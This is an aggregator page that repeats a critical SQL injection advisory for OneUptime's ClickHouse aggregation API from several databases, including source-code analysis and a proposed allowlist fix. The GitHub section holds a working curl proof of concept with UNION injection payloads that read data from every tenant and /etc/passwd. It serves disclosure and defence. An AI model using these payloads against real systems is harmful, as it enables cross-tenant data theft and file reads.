OneUptime ClickHouse SQL Injection via Aggregate Query Parameters

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

OneUptime is a solution for monitoring and managing online services. Prior to 10.0.23, the telemetry aggregation API accepts user-controlled aggregationType, aggregateColumnName, and aggregationTimestampColumnName parameters and interpolates them directly into ClickHouse SQL queries via the .append() method (documented as "trusted SQL"). There is no allowlist, no parameterized query binding, and no input validation. An authenticated user can inject arbitrary SQL into ClickHouse, enabling full database read (including telemetry data from all tenants), data modification, and potential remote code execution via ClickHouse table functions. This vulnerability is fixed in 10.0.23.

Source published

12 Mar 2026 21:27:51 UTC

Source modified

14 Mar 2026 03:42:22 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 10.0 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

OneUptime is a solution for monitoring and managing online services. Prior to 10.0.23, the telemetry aggregation API accepts user-controlled aggregationType, aggregateColumnName, and aggregationTimestampColumnName parameters and interpolates them directly into ClickHouse SQL queries via the .append() method (documented as "trusted SQL"). There is no allowlist, no parameterized query binding, and no input validation. An authenticated user can inject arbitrary SQL into ClickHouse, enabling full database read (including telemetry data from all tenants), data modification, and potential remote code execution via ClickHouse table functions. This vulnerability is fixed in 10.0.23.

Source published

Mar 12, 2026, 9:27:51 PM (timezone not stated)

Source modified

Mar 14, 2026, 3:42:22 AM (timezone not stated)

Observed here

11 Nov 2026 08:32:10 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 10.0 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

OneUptime is a solution for monitoring and managing online services. Prior to 10.0.23, the telemetry aggregation API accepts user-controlled aggregationType, aggregateColumnName, and aggregationTimestampColumnName parameters and interpolates them directly into ClickHouse SQL queries via the .append() method (documented as "trusted SQL"). There is no allowlist, no parameterized query binding, and no input validation. An authenticated user can inject arbitrary SQL into ClickHouse, enabling full database read (including telemetry data from all tenants), data modification, and potential remote code execution via ClickHouse table functions. This vulnerability is fixed in 10.0.23.

Source published

13 Mar 2026 19:54:42 UTC

Source modified

7 Oct 2026 08:10:00 UTC

Observed here

25 Oct 2026 07:19:20 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

### Summary The telemetry aggregation API accepts user-controlled `aggregationType`, `aggregateColumnName`, and `aggregationTimestampColumnName` parameters and interpolates them directly into ClickHouse SQL queries via the `.append()` method (documented as "trusted SQL"). There is no allowlist, no parameterized query binding, and no input validation. An authenticated user can inject arbitrary SQL into ClickHouse, enabling full database read (including telemetry data from all tenants), data modification, and potential remote code execution via ClickHouse table functions. ### Details **Entry Point — `Common/Server/API/BaseAnalyticsAPI.ts:88-98, 292-296`:** The `POST /{modelName}/aggregate` route deserializes `aggregateBy` directly from the request body: ```typescript // BaseAnalyticsAPI.ts:292-296 const aggregateBy: AggregateBy<TBaseModel> = JSONFunctions.deserialize( req.body["aggregateBy"] ) as AggregateBy<TBaseModel>; ``` No schema validation is applied to `aggregateBy`. The object flows directly to the database service. **No Validation — `Common/Server/Services/AnalyticsDatabaseService.ts:276-278`:** ```typescript // AnalyticsDatabaseService.ts:276-278 if (aggregateBy.aggregationType) { // Only truthiness check — no allowlist } ``` The `aggregationType` field is only checked for existence, never validated against an allowed set of values (e.g., `AVG`, `SUM`, `COUNT`). **Raw SQL Injection — `Common/Server/Utils/AnalyticsDatabase/StatementGenerator.ts:527`:** ```typescript // StatementGenerator.ts:527 statement.append( `${aggregationType}(${aggregateColumnName}) as aggregationResult` ); ``` The `.append()` method on `Statement` (at `Statement.ts:149-151`) is documented as accepting **trusted SQL** and performs raw string concatenation: ```typescript // Statement.ts:149-151 public append(text: string): Statement { this.query += text; // Raw concatenation — "trusted SQL" return this; } ``` Similarly, `aggregationTimestampColumnName` is injected into GROUP BY clauses at `AnalyticsDatabaseService.ts:604-606`: ```typescript statement.append( `toStartOfInterval(${aggregationTimestampColumnName}, ...)` ); ``` **Attack flow:** 1. Authenticated user sends `POST /api/log/aggregate` (or `/api/span/aggregate`, `/api/metric/aggregate`) 2. Request body contains `aggregateBy.aggregationType` set to a SQL injection payload 3. Payload passes truthiness check at line 276 4. Payload is concatenated into SQL via `.append()` at line 527 5. ClickHouse executes the injected SQL ### PoC ```bash # Step 1: Authenticate and get session token TOKEN=$(curl -s -X POST 'https://TARGET/identity/login' \ -H 'Content-Type: application/json' \ -d '{"email":"[email protected]","password":"password123"}' \ | jq -r '.token') # Step 2: Extract data from ClickHouse system tables via UNION injection curl -s -X POST 'https://TARGET/api/log/aggregate' \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -H 'tenantid: PROJECT_ID' \ -d '{ "aggregateBy": { "aggregationType": "COUNT) as aggregationResult FROM system.one UNION ALL SELECT name FROM system.tables WHERE database = '\''oneuptime'\'' --", "aggregateColumnName": "serviceId", "aggregationTimestampColumnName": "createdAt" }, "query": {} }' # Step 3: Read telemetry data across all tenants curl -s -X POST 'https://TARGET/api/log/aggregate' \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -H 'tenantid: PROJECT_ID' \ -d '{ "aggregateBy": { "aggregationType": "COUNT) as aggregationResult FROM system.one UNION ALL SELECT body FROM Log LIMIT 100 --", "aggregateColumnName": "serviceId", "aggregationTimestampColumnName": "createdAt" }, "query": {} }' # Step 4: Read files via ClickHouse table functions (if enabled) curl -s -X POST 'https://TARGET/api/log/aggregate' \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -H 'tenantid: PROJECT_ID' \ -d '{ "aggregateBy": { "aggregationType": "COUNT) as aggregationResult FROM system.one UNION ALL SELECT * FROM file('\''/etc/passwd'\'') --", "aggregateColumnName": "serviceId", "aggregationTimestampColumnName": "createdAt" }, "query": {} }' ``` ```bash # Verify the vulnerability in source code: # 1. No allowlist for aggregationType: grep -n 'aggregationType' Common/Server/Services/AnalyticsDatabaseService.ts | head -5 # Line 276: if (aggregateBy.aggregationType) { — truthiness only # 2. Raw SQL concatenation: grep -n 'aggregationType.*aggregateColumnName' Common/Server/Utils/AnalyticsDatabase/StatementGenerator.ts # Line 527: `${aggregationType}(${aggregateColumnName}) as aggregationResult` # 3. .append() is raw concatenation: grep -A3 'public append' Common/Server/Utils/AnalyticsDatabase/Statement.ts # this.query += text; — "trusted SQL" # 4. No validation at API layer: grep -A5 'aggregateBy' Common/Server/API/BaseAnalyticsAPI.ts | grep -c 'validate\|sanitize\|allowlist' # 0 ``` ### Impact **Full ClickHouse database compromise.** An authenticated user (any role) can: 1. **Cross-tenant data theft** — Read telemetry data (logs, traces, metrics, exceptions) from ALL tenants/projects in the ClickHouse database, not just their own 2. **Data manipulation** — INSERT/ALTER/DROP tables in ClickHouse, destroying telemetry data for all users 3. **Server-side file read** — Via ClickHouse's `file()` table function (if not explicitly disabled), read arbitrary files from the ClickHouse container filesystem 4. **Remote code execution** — Via ClickHouse's `url()` table function, make HTTP requests from the server (SSRF), or via `executable()` table function, execute OS commands 5. **Credential theft** — ClickHouse default configuration (`default` user, password from env) could be leveraged to connect directly The vulnerability requires only basic authentication (any registered user), making it exploitable at scale. ### Proposed Fix ```typescript // 1. Add an allowlist for aggregationType in AnalyticsDatabaseService.ts: const ALLOWED_AGGREGATION_TYPES = ['AVG', 'SUM', 'COUNT', 'MIN', 'MAX', 'UNIQ']; if (!ALLOWED_AGGREGATION_TYPES.includes(aggregateBy.aggregationType.toUpperCase())) { throw new BadRequestException( `Invalid aggregationType: ${aggregateBy.aggregationType}. ` + `Allowed: ${ALLOWED_AGGREGATION_TYPES.join(', ')}` ); } // 2. Validate aggregateColumnName against the model's known columns: const modelColumns = model.getColumnNames(); // or similar accessor if (!modelColumns.includes(aggregateBy.aggregateColumnName)) { throw new BadRequestException( `Invalid column: ${aggregateBy.aggregateColumnName}` ); } // 3. Same for aggregationTimestampColumnName: if (aggregateBy.aggregationTimestampColumnName && !modelColumns.includes(aggregateBy.aggregationTimestampColumnName)) { throw new BadRequestException( `Invalid timestamp column: ${aggregateBy.aggregationTimestampColumnName}` ); } // 4. Use parameterized queries where possible: statement.append(`{aggregationType:Identifier}({columnName:Identifier}) as aggregationResult`); statement.addParameter('aggregationType', aggregateBy.aggregationType); statement.addParameter('columnName', aggregateBy.aggregateColumnName); ```

Source published

13 Mar 2026 20:00:34 UTC

Source modified

16 Mar 2026 17:16:25 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Publisher rating · CRITICAL